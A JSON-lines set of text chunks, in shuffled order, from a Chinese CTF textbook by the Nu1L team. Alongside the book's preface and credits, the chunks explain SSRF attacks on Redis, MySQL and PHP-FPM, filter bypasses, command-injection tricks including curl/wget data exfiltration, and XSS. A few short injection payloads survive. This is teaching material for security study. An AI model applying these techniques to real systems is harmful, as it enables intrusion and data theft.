    {"text": "通过审计加密的流程，发现可以通过padding oracle attack伪造SQL注入语句的密文，见图1-3-28，继续利用SQL注入漏洞注入得到用户的邮箱和邮箱密码，见图1-3-29。"},
    {"text": "Windows PHP文件包含/读取可以使用通配符，当我们不知道目录下的文件名或WAF设置了一定的规则进行拦截时，就可以利用通配符的技巧进行文件读取。"},
    {"text": "通过相应内容中报错显示的simplexml_load_string函数，基本确认了XXE漏洞的存在，接着尝试构造远程实体调用实现Blind XXE的利用。 构造的利用数据如下： 图1-3-31 根据测试XXE是否存在时的报错内容可以发现Web目录位置，利用XXE漏洞读取Web应用的源码，发现在config.php文件中存在着一半的flag内容。"},
    {"text": "利用XXE漏洞访问192.168.223.18的80端口（也可以进行端口扫描，这里直接猜测常见端口），发现192.168.223.18主机存在Web服务且存在SQL注入。"},
    {"text": "【总结】 本题考查的是PHP XXE漏洞的文件读取利用方法，不同语言的XML扩展支持的协议可能不同。 PHP十分有特色地保留了PHP协议，所以可以用Base64这个Filter编码读取到的文件内容，避免由于“&”“<”等特殊字符截断Blind XXE，导致漏洞利用失败。"},
    {"text": "图1-3-32 在成功找到目录后，就可以通过文件读取漏洞读取整个应用的源代码，通过服务器的server.sh文件的内容，可知Web应用使用uwsgi启动（也可以通过读取 /proc/self/cmdline 获知这些信息）。"},
    {"text": "【总结】 本题需要通过File协议进行任意文件读取，完成对服务器的信息搜集，即通过/proc/mounts泄露应用路径，从而获知如何进行下一步的文件读取。"},
    {"text": "（WHUCTF 2019，武汉大学校赛） 【题目简介】 题目中存在一处较明显的文件包含漏洞，但是已知信息是flag在相对路径../../flag处，并且在利用文件包含漏洞时发现存在WAF，禁止进行相对路径跳转。"},
    {"text": "【解题思路】 通过读取Apache配置文件找到Web目录，见图1-3-33。 图1-3-33 已知Web目录后，可直接通过Web目录构造flag文件的绝对路径，绕过相对路径的限制，读取flag，见图1-3-34。 图1-3-34 【总结】 这是一道经典的文件读取类型的题目，主要考查参赛者对于Web配置文件信息搜集的能力，需要通过读取Apache配置文件发现Web目录，通过构造绝对路径，绕过相对路径的限制，完成flag文件的读取。"},
    {"text": "第2章和第3章将从“进阶”和“拓展”层次介绍Web类题目中涉及的其他常见漏洞，“进阶”层次涉及的Web漏洞需要读者具备一定的基础、经验，比“入门”层次涉及的漏洞更复杂，技术点更多；"},
    {"text": "但在实际比赛中，题目往往是由多个漏洞组合而成的，而第1章提到的Web漏洞往往是一些复杂题目的基础部分，如通过SQL注入获得后台密码，后台存在上传漏洞，那么，如何绕过上传Webshell拿到flag便成为了关键。 本章将向读者介绍4种利用技巧较为繁多、比赛出现频率高的Web漏洞，分别是：SSRF漏洞、命令执行漏洞、XSS漏洞、文件上传漏洞。"},
    {"text": "因为请求是由内部发起的，所以一般情况下，SSRF漏洞攻击的目标往往是从外网无法访问的内部系统。 SSRF漏洞形成的原因多是服务端提供了从外部服务获取数据的功能，但没有对目标地址、协议等重要参数进行过滤和限制，从而导致攻击者可以自由构造参数，而发起预期外的请求。"},
    {"text": "2.1.1 SSRF的原理解析 URL的结构如下： authority组件又分为以下3部分（见图2-1-1）： 图2-1-1（图片来源：维基百科） scheme 由一串大小写不敏感的字符组成，表示获取资源所需要的协议。"},
    {"text": "图2-1-3 2.1.2 SSRF漏洞的寻找和测试 SSRF漏洞一般出现在有调用外部资源的场景中，如社交服务分享功能、图片识别服务、网站采集服务、远程资源请求（如wordpress xmlrpc.php）、文件处理服务（如XML解析）等。"},
    {"text": "使用Gopher协议时，通过控制访问的URL可实现向指定的服务器发送任意内容，如HTTP请求、MySQL请求等，所以其攻击面非常广，后面会着重介绍Gopher的利用方法。"},
    {"text": "2.1.3 SSRF漏洞攻击方式 2.1.3.1 内部服务资产探测 SSRF漏洞可以直接探测网站所在服务器端口的开放情况甚至内网资产情况，如确定该处存在SSRF漏洞，则可以通过确定请求成功与失败的返回信息进行判断服务开放情况。"},
    {"text": "图2-1-5 2.1.3.2 使用Gopher协议扩展攻击面 1．攻击Redis Redis一般运行在内网，使用者大多将其绑定于127.0.0.1:6379，且一般是空口令。 攻击者通过SSRF漏洞未授权访问内网Redis，可能导致任意增、查、删、改其中的内容，甚至利用导出功能写入Crontab、Webshell和SSH公钥（使用导出功能写入的文件所有者为redis的启动用户，一般启动用户为root，如果启动用户权限较低，将无法完成攻击）。 Redis是一条指令执行一个行为，如果其中一条指令是错误的，那么会继续读取下一条，所以如果发送的报文中可以控制其中一行，就可以将其修改为Redis指令，分批执行指令，完成攻击。"},
    {"text": "在攻击Redis的时候，一般是写入Crontab反弹shell，通常的攻击流程如下： 此时我们使用socat获取数据包，命令如下： 将本地1234端口转发到6379端口，再依次执行攻击流程的指令，将得到攻击数据，见图2-1-6。"},
    {"text": "在剩下的数据中，将“ \\r ”替换为“ %0d ”，将“ \\n ”（换行）替换为“ %0a ”，其中的“ $ ”进行URL编码，可以得到如下字符串： 如果需要直接在该字符串中修改反弹的IP和端口，则需要同时修改前面的“ $56 ”，“56”为写入Crontab中命令的长度。 例如，此时字符串为 要修改反弹的IP为172.28.0.33，则需要将“56”改为“ 57 ”（56+1）。"},
    {"text": "将构造好的字符串填入进行一次攻击，见图2-1-7，返回了5个OK，对应5条指令，此时在目标机器上已经写入了一个Crontab，见图2-1-8。"},
    {"text": "假设想查询目标服务器上数据库中user表的信息，我们先在本地新建一张user表，再使用tcpdump进行抓包，并将抓到的流量写入 /pcap/mysql.pcap 文件。 命令如下： 开始抓包后，登录MySQL服务器进行查询操作，见图2-1-9。 图2-1-9 然后使用wireshark打开 /pcap/mysql.pcap 数据包，过滤MySQL，再随便选择一个包并单击右键，在弹出的快捷菜单中选择“追踪流 → TCP流”，过滤出客户端到服务端的数据包，最后将格式调整为HEX转储，见图2-1-10。 此时便获得了从客户端到服务端并执行命令完整流程的数据包，然后将其进行URL编码，得到如下数据： 进行攻击，获得user表中的数据，见图2-1-11。"},
    {"text": "PHP-FPM是实现和管理FastCGI的进程。 在PHP-FPM下如果通过FastCGI模式，通信还可分为两种：TCP和UNIX套接字（socket）。 TCP模式是在本机上监听一个端口，默认端口号为9000，Nginx会把客户端数据通过FastCGI协议传给9000端口，PHP-FPM拿到数据后会调用CGI进程解析。 Nginx配置文件如下所示： PHP-FPM配置如下所示： 既然通过FastCGI与PHP-FPM通信，那么我们可以伪造FastCGI协议包实现PHP任意代码执行。 FastCGI协议中只可以传输配置信息、需要被执行的文件名及客户端传进来的GET、POST、Cookie等数据，然后通过更改配置信息来执行任意代码。"},
    {"text": "❖ auto_prepend_file：在执行目标文件前，先包含auto_prepend_file中指定的文件，并且可以使用伪协议如php://input。 ❖ auto_append_file：在执行目标文件后，包含auto_append_file指向的文件。"},
    {"text": "php://input是客户端HTTP请求中POST的原始数据，如果将auto_prepend_file设定为 php://input ，那么每个文件执行前会包含POST的数据，但php://input需要开启 allow_url_include ， 官 方手册虽然规定这个配置规定只能在php.ini中修改，但是FastCGI协议中的 PHP_ADMIN_VALUE 选项可修改几乎所有配置（disable_functions不可修改），通过设置 PHP_ADMIN_VALUE 把 allow_url_include 修改为 True ，这样就可以通过FastCGI协议实现任意代码执行。 使用网上已公开的 Exploit ，地址如下： 这里需要前面提到的限制条件：需要知道服务器上一个PHP文件的绝对路径，因为在include时会判断文件是否存在，并且 security.limit_extensions 配置项的后缀名必须为.php，一般可以使用默认的 /var/www/html/index.php ，如果无法知道Web目录，可以尝试查看PHP默认安装中的文件列表，见图2-1-12。"},
    {"text": "假设内网中存在一个任意命令执行漏洞的Web应用，代码如下： 在本地监听任意端口，然后对此端口发起一次POST请求，以抓取请求数据包，见图2-1-16。"},
    {"text": "图2-1-17 2.1.3.3 自动组装Gopher 目前已经有人总结出多种协议并写出自动转化的脚本，所以大部分情况下不需要再手动进行抓包与转换。"},
    {"text": "2.1.4.1 IP的限制 使用 Enclosed alphanumerics 代替IP中的数字或网址中的字母（见图2-1-19），或者使用句号代替点（见图2-1-20）。"},
    {"text": "图2-1-18 图2-1-19 图2-1-20 如果服务端过滤方式使用正则表达式过滤属于内网的IP地址，那么可以尝试将IP地址转换为进制的方式进行绕过，如将127.0.0.1转换为十六进制后进行请求，见图2-1-21。"},
    {"text": "图2-1-21 图2-1-22 另外，IP地址有一些特殊的写法，如在Windows下，0代表 0.0.0.0 ，而在Linux下，0代表 127.0.0.1 ，见图2-1-23。"},
    {"text": "2.1.4.2 302跳转 网络上存在一个名叫xip.io的服务，当访问这个服务的任意子域名时，都会重定向到这个子域名，如 127.0.0.1.xip.io ，见图2-1-25。"},
    {"text": "图2-1-23 图2-1-24 图2-1-25 这种方式可能存在一个问题，即在传入的URL中存在关键字127.0.0.1，一般会被过滤，那么，我们可以使用短网址将其重定向到指定的IP地址，如短网址 http://dwz.cn/11SMa ，见图2-1-26。"},
    {"text": "有时服务端可能过滤了很多协议，如传入的URL中只允许出现“http”或“https”，那么可以在自己的服务器上写一个302跳转，利用Gopher协议攻击内网的Redis，见图2-1-27。"},
    {"text": "2.1.4.3 URL的解析问题 CTF线上比赛中出现过一些利用组件解析规则不同而导致绕过的题目，代码如下： 图2-1-26 图2-1-27 如果传入的URL为http://a＠127.0.0.1:80＠baidu.com，那么进入safe_request_url后，parse_url取到的host其实是baidu.com，而curl取到的是127.0.0.1:80，所以实现了检测IP时是正常的一个网站域名而实际curl请求时却是构造的127.0.0.1，以此实现了SSRF攻击，获取flag时的操作见图2-1-28。"},
    {"text": "除了PHP，不同语言对URL的解析方式各不相同，进一步了解可以参考： https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf。"},
    {"text": "图2-1-28 2.1.4.4 DNS Rebinding 在某些情况下，针对SSRF的过滤可能出现下述情况：通过传入的URL提取出host，随即进行DNS解析，获取IP地址，对此IP地址进行检验，判断是否合法，如果检测通过，则再使用curl进行请求。 那么，这里再使用curl请求的时候会做第二次请求，即对DNS服务器重新请求，如果在第一次请求时其DNS解析返回正常地址，第二次请求时的DNS解析却返回了恶意地址，那么就完成了DNS Rebinding攻击 DNS重绑定的攻击首先需要攻击者自己有一个域名，通常有两种方式。"},
    {"text": "图2-1-29 第二种方式则比较稳定，自己搭建一个DNS Server，在上面运行自编的解析服务，使其每次返回的都不同。 先给域名添加两条解析，一条A记录指向服务器地址，一条NS记录指向上条记录地址。"},
    {"text": "图2-1-30 图2-1-30（续） 2.1.5 CTF中的SSRF 1．胖哈勃杯第十三届CUIT校赛Web300短域名工具 本题考察的知识点主要是重绑定绕过WAF和DICT协议的利用。"},
    {"text": "PHP的WAF在进行判断时，第一次会解析域名的IP，然后判断是否为内网IP，如果不是，则用CURL去真正请求该域名。 这里涉及CURL请求域名的时候会第二次进行解析，重新对DNS服务器进行请求获取一个内网IP，这样就绕过了限制。"},
    {"text": "在题目中，请求 http://域名/tools.php？ a=s&u=http://ip：88/_testok 等价于 http://127.0.0.1/tools.php？ a=s&u=http://ip：88/_testok ；"},
    {"text": "图2-1-31 另外，libcurl为7.19.7的老版本，只支持TFTP、FTP、Telnet、DICT、HTTP、FILE协议，一般使用Gopher协议攻击Redis，但其实使用DICT协议同样可以攻击Redis，最后的攻击流程如下： 攻击结果见图2-1-32。"},
    {"text": "图2-1-33 图2-1-34 看到返回包中的Nginx，有经验的参赛者会猜到是Nginx配置错误导致目录穿越的漏洞，而题目虽然没有开目录遍历，但是仍然可以构造从 /static../__pycache__/ 获取pyc文件。"},
    {"text": "图2-1-35 然后对请求功能进行测试，发现不允许请求本机地址，见图2-1-36。 其实这里针对本地的绕过很简单，查看代码发现过滤并不严格，使用0代表本机即可，见图2-1-37。"},
    {"text": "而这里无法通过常规的攻击方法反弹shell或者直接写webshell，通过阅读flask-session库的代码可知存入的数据是pickle序列化后的字符串，那么我们可以通过这个CRLF漏洞写入一个恶意的序列化字符串，再访问页面触发反弹回shell，写入恶意序列化字符串代码如下：\n通过在弹回来的shell中查看信息，可以知道需要进行提权，见图2-1-38。"},
    {"text": "图2-1-38 拿到shell后，信息搜集发现，Redis是使用root权限启动的，但写SSH私钥和webshell等不太现实，于是考虑可以利用Redis的主从模式（在2019年的WCTF2019 Final上，LC↯BC战队成员在赛后分享上介绍了由于redis的主从复制而导致的新的RCE利用方式）去RCE读flag。"},
    {"text": "Redis为了应对读写量较大的问题，提供了一种主从模式，使用一个Redis实例作为主机只负责写，其余实例都为从机，只负责读，主从机间数据相同，其次在Redis 4.x后新增加了模块的功能，通过外部的扩展可以实现一条新的Redis命令，因为此时已经完全控制了Redis，所以可以通过将此机设置为自己VPS的从机，在主机上通过FULLSYNC同步备份一个恶意扩展到从机上加载。"},
    {"text": "先在shell中设置为VPS的从机，再设置dbfilename为exp.so，手动执行完exp中的前两步，见图2-1-39。 图2-1-39 然后去掉加载模块后面的所有功能，在VPS上运行exp。"},
    {"text": "图2-1-40 2.2 命令执行漏洞 通常情况下，在开发者使用一些执行命令函数且未对用户输入的数据进行安全检查时，可以注入恶意的命令，使整台服务器处于危险中。"},
    {"text": "2.2.1 命令执行的原理和测试方法 下面介绍 命令注入的基本原理 ，包括cmd.exe、bash程序在解析命令的时候会存在哪些问题、在不同的操作系统中执行命令会存在哪些异同点等，以及在CTF题目中应该如何进行测试，直到最终获取flag。"},
    {"text": "2.2.1.1 命令执行原理 在各类编程语言中，为了方便程序处理，通常会存在各种执行外部程序的函数，当调用函数执行命令且未对输入做过滤时，通过注入恶意命令，会造成巨大的危害。"},
    {"text": "下面以PHP中的system()函数举例： 该代码的正常功能是调用操作系统的echo程序，将从 d 参数接收的字符串作为echo程序的输入，最终system()函数将echo程序执行的结果返回在网页中，其在操作系统执行的命令为“ echo for test ”，最终在网页显示为“ for test ”，见图2-2-1。"},
    {"text": "图2-2-1 当改变 d 参数为“ for test%26%26 whoami ”时，网页会多出whoami程序的执行结果，这是因为当前在系统执行的命令为“ echo for test&&whoami ”，见图2-2-2。"},
    {"text": "注意，它们存在惰性，在and语法中，若第一个表达式的结果为假，则第二个表达式不会执行，因为它恒为假。 与or语法类比，若第一个表达式为真，则第二个表达式也不会执行，因为它恒为真。"},
    {"text": "1．转义字符 系统中的cmd.exe、bash程序执行命令能够解析很多特殊字符，它们的存在让BAT批处理和bash脚本处理工作更加便捷，但是如果想去掉特殊字符的特殊意义，就需要进行转义，所以转义字符即为取消字符的特殊意义。"},
    {"text": "图2-2-3 图2-2-4 2．多条命令执行 在命令注入中通常需要注入多条命令来扩大危害，下面是一些能够构成多条命令执行的字符串：Windows下，&&、||、%0a；"},
    {"text": "图2-2-5中显示了“ noexist||echo pwnpwnpwn ”，noexist程序本身不存在，所以报错，但是通过注入“||”字符，即使前面报错，还会执行后面的“ echo pwnpwnpwn ”命令。"},
    {"text": "另外，在Linux中需要注意，双引号包裹的字符串“ $() ”或“ `` ”中的内容被当作命令执行，但是单引号包括的字符串就是纯字符串，不会进行任何解析，见图2-2-7。"},
    {"text": "图2-2-5 图2-2-6 图2-2-7 3．注释符号 与代码注释一样，当合理利用时，命令执行能够使命令后面的其他字符成为注释内容，这样可以降低程序执行的错误。"},
    {"text": "2.2.2 命令执行的绕过和技巧 本节介绍在CTF中解答命令执行题目的技巧，命令执行的题目需要把控的因素比较多，如权限的控制、题目接下来的衔接。"},
    {"text": "图2-2-8 但是在命令中间隔的字符可以不只是空格（URL编码为“%20”），还可以利用burp suite对 %00～%ff 区间的字符串进行测试，可以发现还能用其他字符进行绕过，如“%09”“%0b”“%0c”等。"},
    {"text": "图2-2-11 2．Linux下 Linux中也有一些绕过空格执行的方式： bash有效，zsh、dash无效： 读取文件时： $IFS$9 ：Linux存在IFS（Internal Field Separator）环境变量，即内部字段分隔符，定义了bash shell的命令间隔字符，一般为空格。"},
    {"text": "注意，当只注入$IFS时，即执行的命令结果为echo$IFSaaa，可以发现解析后的$IFSaaa变量是不存在的，所以需要间隔符来避免，通常使用“ $9 ”。 “$9”表示为当前系统Shell进程的第9个参数，通常是一个空字符串，即最终能成功执行的命令为“echo$IFS$9aaa”。 当然，还可以使用“ ${IFS} ”进行注入，或者在某些平台下通过修改IFS变量为逗号来进行注入，即“ ；"},
    {"text": "图2-2-12 2.2.2.2 黑名单关键字 在CTF比赛中，有时会遇上黑名单关键字，如对cat、flag等字符串进行拦截，这时可以用下面的方式绕过。"},
    {"text": "1．利用变量拼接 其中，a变量为c，b变量为at，最终$a$b是cat。 c变量为he，d变量为llo，最终${c}${d}为hello，所以在这里执行的命令是“cat hello”。"},
    {"text": "图2-2-13 2.2.2.3 执行无回显 在CTF中，我们经常遇到命令执行的结果不在网页上显示的情况，这时可以通过以下几种方式获取执行结果。"},
    {"text": "在Windows下，目前只能通过相对复杂的命令进行外带（如果未来Windows支持Linux命令，将更加方便数据外带）： 通过for命令，将echo hello执行的结果保存在 %x 变量中，然后拼接到URL后。 以上命令执行后，默认浏览器会被系统调用打开并访问指定的网站，最终可以在平台上面获取echo hello命令的执行结果，见图2-2-14。"},
    {"text": "在Linux下，由于存在管道等，因此极其方便数据的传输，通常利用 curl 、 wget 等程序进行外带数据。 例如： 上面便是利用多条命令执行中的“`”和“$()”进行字符串拼接，最终通过curl、wget等命令向外进行请求，从而实现了数据外带，见图2-2-15。"},
    {"text": "在Linux下： 在Windows下相对复杂，主要利用delims命令进行分割处理，最终拼接到域名前缀上，再利用ping程序进行外带。 <1>获取计算机名： <2>获取用户名： 3．时间盲注 网络不通时，可以通过时间盲注将数据跑出来，主要借用“ && ”和“ || ”的惰性；"},
    {"text": "4．写入文件，二次返回 有时会遇上网络隔离的情况，time型读数据将会极其缓慢，可以考虑将执行命令结果写入到Web目录下，再次通过Web访问文件从而达到回显目的。"},
    {"text": "图2-2-16 2.2.3 命令执行真题讲解 CTF比赛中单纯考查命令注入的题目较为少见，一般会将其组合到其他类型的题目，更多的考点偏向技巧性，如黑名单绕过、Linux通配符等，下面介绍一些经典题目。"},
    {"text": "2.2.3.1 2015 HITCON BabyFirst PHP代码如下： 题目为每人创建一个沙盒目录，然后通过正则“ ^\\w+$ ”进行字符串限制，难点在于正则的绕过。"},
    {"text": "图2-2-17 最后使用busybox中的 ftp 命令获取文件： 将IP转换为十进制，即192.168.0.9的十进制为3232235529，可以通过ping验证最终请求的IP是否正确的。"},
    {"text": "利用FTP下载反弹Shell脚本： 然后执行Shell脚本： 2.2.3.2 2017 HITCON BabyFirst Revenge PHP代码如下： 上面的代码中最关键的限制便是命令长度限制， strlen（$_GET['cmd']）<=5 意味着每次执行的命令长度只能小于等于5。"},
    {"text": "图2-2-20 图2-2-20 2.2.3.3 2017 HITCON BabyFirst Revenge v2 PHP代码如下： 这就是之前BabyFirst Revenge的升级版本，限制命令长度只能小于等于4。"},
    {"text": "所以，在“*”执行时，其实执行的命令为： 最终，v文件的内容是： 接下来写入一个rev文件，然后使用“ *v ”命令，因为只有rev、v两个带v的文件，所以其执行的命令是“ rev v ”，再将逆转的v文件内容放入x文件。"},
    {"text": "2.3 XSS的魔力 跨站脚本（Cross-Site Scripting，XSS） 是一种网站应用程序的安全漏洞攻击，是代码注入的一种，允许恶意用户将代码注入网页，其他用户在观看网页时会受到影响。"},
    {"text": "时至今日，浏览器上的攻与防片刻未歇，很多网站给关键Cookie增加了HTTP Only属性，这意味着执行JavaScript已无法获得用户的登录凭证（即无法通过XSS攻击窃取Cookie登录对方账号），虽然同源策略限制了JavaScript跨域执行的能力，但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞，可以在悄无声息的情况下实现模拟用户的操作（包括文件上传等请求）。"},
    {"text": "2.3.1 XSS漏洞类型 1．反射/存储型XSS 根据XSS漏洞点的触发特征，XSS可以粗略分为 反射型XSS 、 存储型XSS 。 反射型XSS通常是指恶意代码未被服务器存储，每次触发漏洞的时候都将恶意代码通过GET/POST方式提交，然后触发漏洞。 存储型XSS则相反，恶意代码被服务器存储，在访问页面时会直接被触发（如留言板留言等场景）。 这里模拟一个简单的反射型XSS（见图2-3-1），变量输入点没有任何过滤直接在HTML内容中输出，就像攻击者对HTML内容进行了“ 注入 ”，这也是XSS也称为HTML注入的原因，这样我们可以向网页中注入恶意的标签和代码，实现我们的功能，见图2-3-2。"},
    {"text": "然而这样的payload会被Google Chrome等浏览器直接拦截，无法触发，因为这样的请求（即GET参数中的JavaScript标签代码直接打印在HTML中）符合Google Chrome浏览器XSS过滤器（XSS Auditor）的规则，所以被直接拦截（这也是近年来Google Chrome加强防护策略导致的。"},
    {"text": "图2-3-1 图2-3-2 图2-3-3 输入的数据被拼接到HTML内容中时，有时被输出到一些特殊的位置，如标签属性、JavaScript变量的值，此时通过闭合标签或者语句可以实现payload的逃逸。"},
    {"text": "第三种情况是我们的输入被输出到JavaScript变量中（见图2-3-6），这时可以构造输入，闭合前面的双引号，同时引入恶意代码（见图2-3-7）。"},
    {"text": "图2-3-4 图2-3-5 图2-3-6 图2-3-7 可以看到，这次页面源码并没有变红，意味着Google Chrome并未拦截这个输入，访问成功弹框，见图2-3-8。"},
    {"text": "图2-3-8 前三种是XSS中最简单的场景，即输入原封不动地被输出在页面中，通过精心构造的输入，使得输入中的恶意数据混入JavaScript代码中得以执行，这也是很多漏洞的根源所在，即：没有很好地区分开代码和数据，导致攻击者可以利用系统的缺陷，构造输入，进而在系统上执行任意代码。 2．DOM XSS 简单来讲， DOM XSS 是页面中原有的JavaScript代码执行后，需要进行DOM树节点的增加或者元素的修改，引入了被污染的变量，从而导致XSS，见图2-3-9。"},
    {"text": "图2-3-9 图2-3-10 输入并不会直接被打印到页面中被解析，而是等页面中原先的JavaScript执行后取出我们可控的变量，拼接恶意代码并写入页面中才会被触发，见图2-3-11。"},
    {"text": "3．其他场景 决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type，所以无论上传的文件是以什么样的后缀被保存在服务器上，只要访问上传的文件时返回的Content-type是text/html，就可以成功地被浏览器解析并执行。"},
    {"text": "事实上，浏览器会默认把请求响应当作HTML内容解析，如空的和畸形的Content-type，由于浏览器之间存在差异，因此在实际环境中要多测试。 比如，Google Chrome中的空Content-type会被认为是text/html，见图2-3-12，也是可以弹框的，见图2-3-13。"},
    {"text": "图2-3-11 图2-3-12 图2-3-13 2.3.2 XSS的tricks 1．可以用来执行XSS的标签 基本上所有的标签都可以使用 on事件 来触发恶意代码，比如： 效果见图2-3-14。"},
    {"text": "很多标签的on时间触发是需要交互的，如鼠标滑过点击，代码如下： input标签的 autofocus属性 会自动使光标聚焦于此，不需交互就可以触发 onfocus事件 。"},
    {"text": "例如： 3．伪协议与XSS 通常，我们在浏览器中使用HTTP/HTTPS协议来访问网站，但是在一个页面中，鼠标悬停在一个超链接上时，我们总会看到这样的链接： javascript：void（0） 。"},
    {"text": "这其实是用 JavaScript伪协议 实现的。 如果手动单击，或者页面中的JavaScript执行跳转到JavaScript伪协议时，浏览器并不会带领我们去访问这个地址，而是把“ javascript： ”后的那一段内容当作JavaScript代码，直接在当前页面执行。"},
    {"text": "所以，对于这样的标签： 单击这个标签时并不会跳转到其他网页，而是直接在当前页面执行 alert（1） ，除了直接用 a标签 单击触发，JavaScript协议触发的方式还有很多。"},
    {"text": "比如，利用JavaScript进行页面跳转时，跳转的协议使用JavaScript伪协议也能进行触发，代码如下： 所以如果在一些登录/退出业务中存在这样的代码： 即跳转的地址是我们可控的，我们就能控制跳转的地址到JavaScript伪协议，从而实现XSS攻击，见图2-3-16。"},
    {"text": "前言 随着日益严峻的网络安全形势及人们对网络安全重视程度的提高，以人才发现、培养和选拔为目的的网络安全赛事不断涌现，成为发现人才的一种创新形式。 目前，国内高水平的网络安全赛事普遍以CTF形式存在，竞赛水平差异较大，直接参加高于自身技术过多的竞赛犹如空中楼阁，不仅很难学到东西，也可能打击自信。"},
    {"text": "此外，CTF比赛题目因涉及网络安全技术、计算机技术、硬件技术等领域，内容十分繁杂，迭代更新时间快，初学者往往一头雾水地参与其中，难以发现CTF的乐趣。"},
    {"text": "早在2017年，我便有写一本供初学者学习CTF书籍的想法，但由于当时Nu1L战队的成员太少，并且觉得这是一个复杂而且庞大的过程，所以写书的想法只能搁浅。 直到2018年末，Nu1L战队已成长到近40人，与此同时，我发现市面上依然没有一本关于CTF比赛的书籍，写书的想法又重新燃起，在询问战队诸多队员并达成一致意见后，便开始组织大家写书。 经过初步讨论，我们希望这本书可以让CTF入门者进行系统性的学习，于是决定尽可能地将CTF比赛中的方方面面融入此书。 同时，为了避免这本书成为一本只是罗列知识点的普通安全基础书籍，除了围绕CTF涉及的大量知识点，我们还将做题的技巧、个人经验穿插其中，以便让读者更好地融入。"},
    {"text": "本书旨在让更多人感受到CTF比赛的乐趣，对CTF比赛有所了解，进而通过本书提升自身的技术实力。 本书结构 本书的技术分享包括CTF线上赛和线下赛两部分。 如此分类是为了让此书的适用面更加广泛，除了与CTF比赛相关的内容，我们还结合实战，为读者分享一些现实漏洞挖掘的经验。 CTF线上赛包括10章，涵盖Web、PWN、Reverse、APK、Misc、Crypto、区块链、代码审计。 本部分涵盖了CTF大部分的题目分类，并配有相应的例题解析，能够让读者充分了解、学习相应知识点。"},
    {"text": "说明 众多周知，CTF涉及的分类十分繁多，所以Nu1L战队有29人参与了此书的编写，每个人负责编写不同的章节，在编写前我已尽可能地统一了规范，但是每个人的编写风格不是完全一致，所以有的章节文字风格差异较大。 参与编写此书的Nu1L战队的成员都是第一次写书，因此不能保证本书能够面面俱到，但尽可能详细地涵盖了CTF比赛的相应内容，至于某些未能描述详尽或遗漏的地方，以及一些不常见的领域，如工控CTF，因为缺乏相关知识，所以没有办法加入本书。 本书主要针对CTF初学者，究其每部分，认真写的话都足以写一本书。"},
    {"text": "所以我们也对各部分的内容进行了筛选，只编写常见的CTF技术点，如Web部分的SQL注入章节中只写了MySQL下的注入场景，而没有写SQL Server、NoSQL等情况下的注入场景。"},
    {"text": "关于Nu1L战队 Nu1L战队成立于2015年10月，源于英文单词NULL，是国内顶尖的CTF联合战队，目前成员有60余人，官网为 https://nu1l.com 。 Nu1L自成立以来，征战于国内外各项CTF赛事，成绩优异，如： ❖ DEFCON CHINA&BCTF2018冠军。"},
    {"text": "N1BOOK平台 为了让读者更好地学习本书的内容，我们针对大部分知识点设计了相应的配套题目，以便辅助读者学习并理解相关知识，我们称之为N1BOOK（ https://book.nu1l.com ）。"},
    {"text": "书中Web、PWN章节涉及的题目已封装成docker镜像，读者在N1BOOK平台上选择相应页面，即可访问题目的相关内容，通过docker的启动，免去了读者在本地搭建环境的苦恼。"},
    {"text": "本书配套题目默认的flag格式为 n1book{} ，相应题目的Writeup可根据题目页面中的关键词，在Nu1L Team官方公众号回复获取，扫描下方的二维码，可以关注官方公众号。"},
    {"text": "意见反馈 本书是我们团队的首次尝试，难免有不足之处，读者若有任何建议，可以通过邮件联系我们：book＠nu1l.com，我们会在下一版本中进行参考和修改。"},
    {"text": "致谢 出书是一个十分庞大的工程，因为CTF涉及的技术点众多，所以本书的编写汇聚了国内外诸多安全研究员的文章及一些公开发表的书籍、研究成果等，在此首先表示感谢。"},
    {"text": "感谢 邬江兴院士、冯登国院士、清华大学段海新教授为本书作序 感谢 CongRong（河图安全、vulhub核心成员，Symbo1安全团队负责人）、ForzaInter（国网山东省电力公司网络安全负责人）、M（ChaMd5安全团队创始人）、tomato（边界无限联合创始人）、walk（奇安信奇物安全实验室负责人）、于旸（TK）（腾讯玄武实验室创始人）、马坤（四叶草安全）、王任飞（avfisher）（某知名云厂商Offensive Security Team负责人）、王依民（Valo）（退役老年CTF选手/红蓝对抗领域专家）、王欣（安恒信息安全研究院）、王瑶（WCTF世界黑客大师赛运营负责人）、幻泉（永信至诚KR实验室）、叶猛（奇安信高级攻防部负责人）、刘炎明（Riatre）（blue-lotus战队成员）、刘新鹏（恒安嘉新水滴攻防安全实验室&DefCon Group 0531发起人）、杨义先（北京邮电大学教授）、杨坤（长亭科技）、吴石（腾讯科恩实验室负责人）、宋方睿（MaskRay）（LLVM开发者/LLD维护者）、张小松（电子科技大学教授，2019国家科技进步一等奖第一完成人）、张瑞冬（only_guest）（PKAV技术团队创始人、无糖信息CEO）、张璇（公众号网安杂谈创办人、山东警察学院）、周世杰（电子科技大学教授）、周景平（黑哥）（知道创宇404实验室）、郑洪滨（红亚科技创始人）、姜开达（上海交通大学）、秦玉海（中国刑警学院首席教授、博导）、贾春福（南开大学教授）、高媛（＠传说中的女网警）、郭山清（山东大学网络空间安全学院教授）、黄昱恺（火日攻天）（退役老年CTF选手/某知名云厂商SDL安全专家）、黄源（知名女黑客、安全播报平台创始人）、韩伟力（复旦大学教授，复旦大学六星战队指导教师）、傲客（春秋GAME负责人）、鲁辉（中国网络空间安全人才教育论坛秘书长）、管磊（公安部第一研究所，网络攻防实验室主任）为本书撰写推荐语（排名不分先后，按姓氏笔画排序）。"},
    {"text": "感谢 Nu1L战队的其他28位参与编写的队员，利用自己的业余时间保质保量地完成了自己负责的部分，他们分别是姚诚、李明建、管云超、孙心乾、李建旺、于晨升、吴宇航、陈耀光、林镇鹏、刘子轶、母浩文、鲜槟丞、李柯、秦琦、钱钇冰、阳宇鹏、郑吉宏、黄伟杰、李依林、赵畅、饶诗豪、周梦禹、李扬、何瑶杰、段景添、林泊儒、周捷、秦石。"},
    {"text": "比如，data伪协议： 4．二次渲染导致的XSS 后端语言如flask的jinja2使用不当时，可能存在模板注入，在前端也可能因为这样的原因形成XSS。"},
    {"text": "例如，在AngularJS中： 上面的代码会将 参数t 直接输出到AngularJS的模板中，在我们访问页面时，JavaScript会解析模板中的代码，可以得到一个前端的模板注入。"},
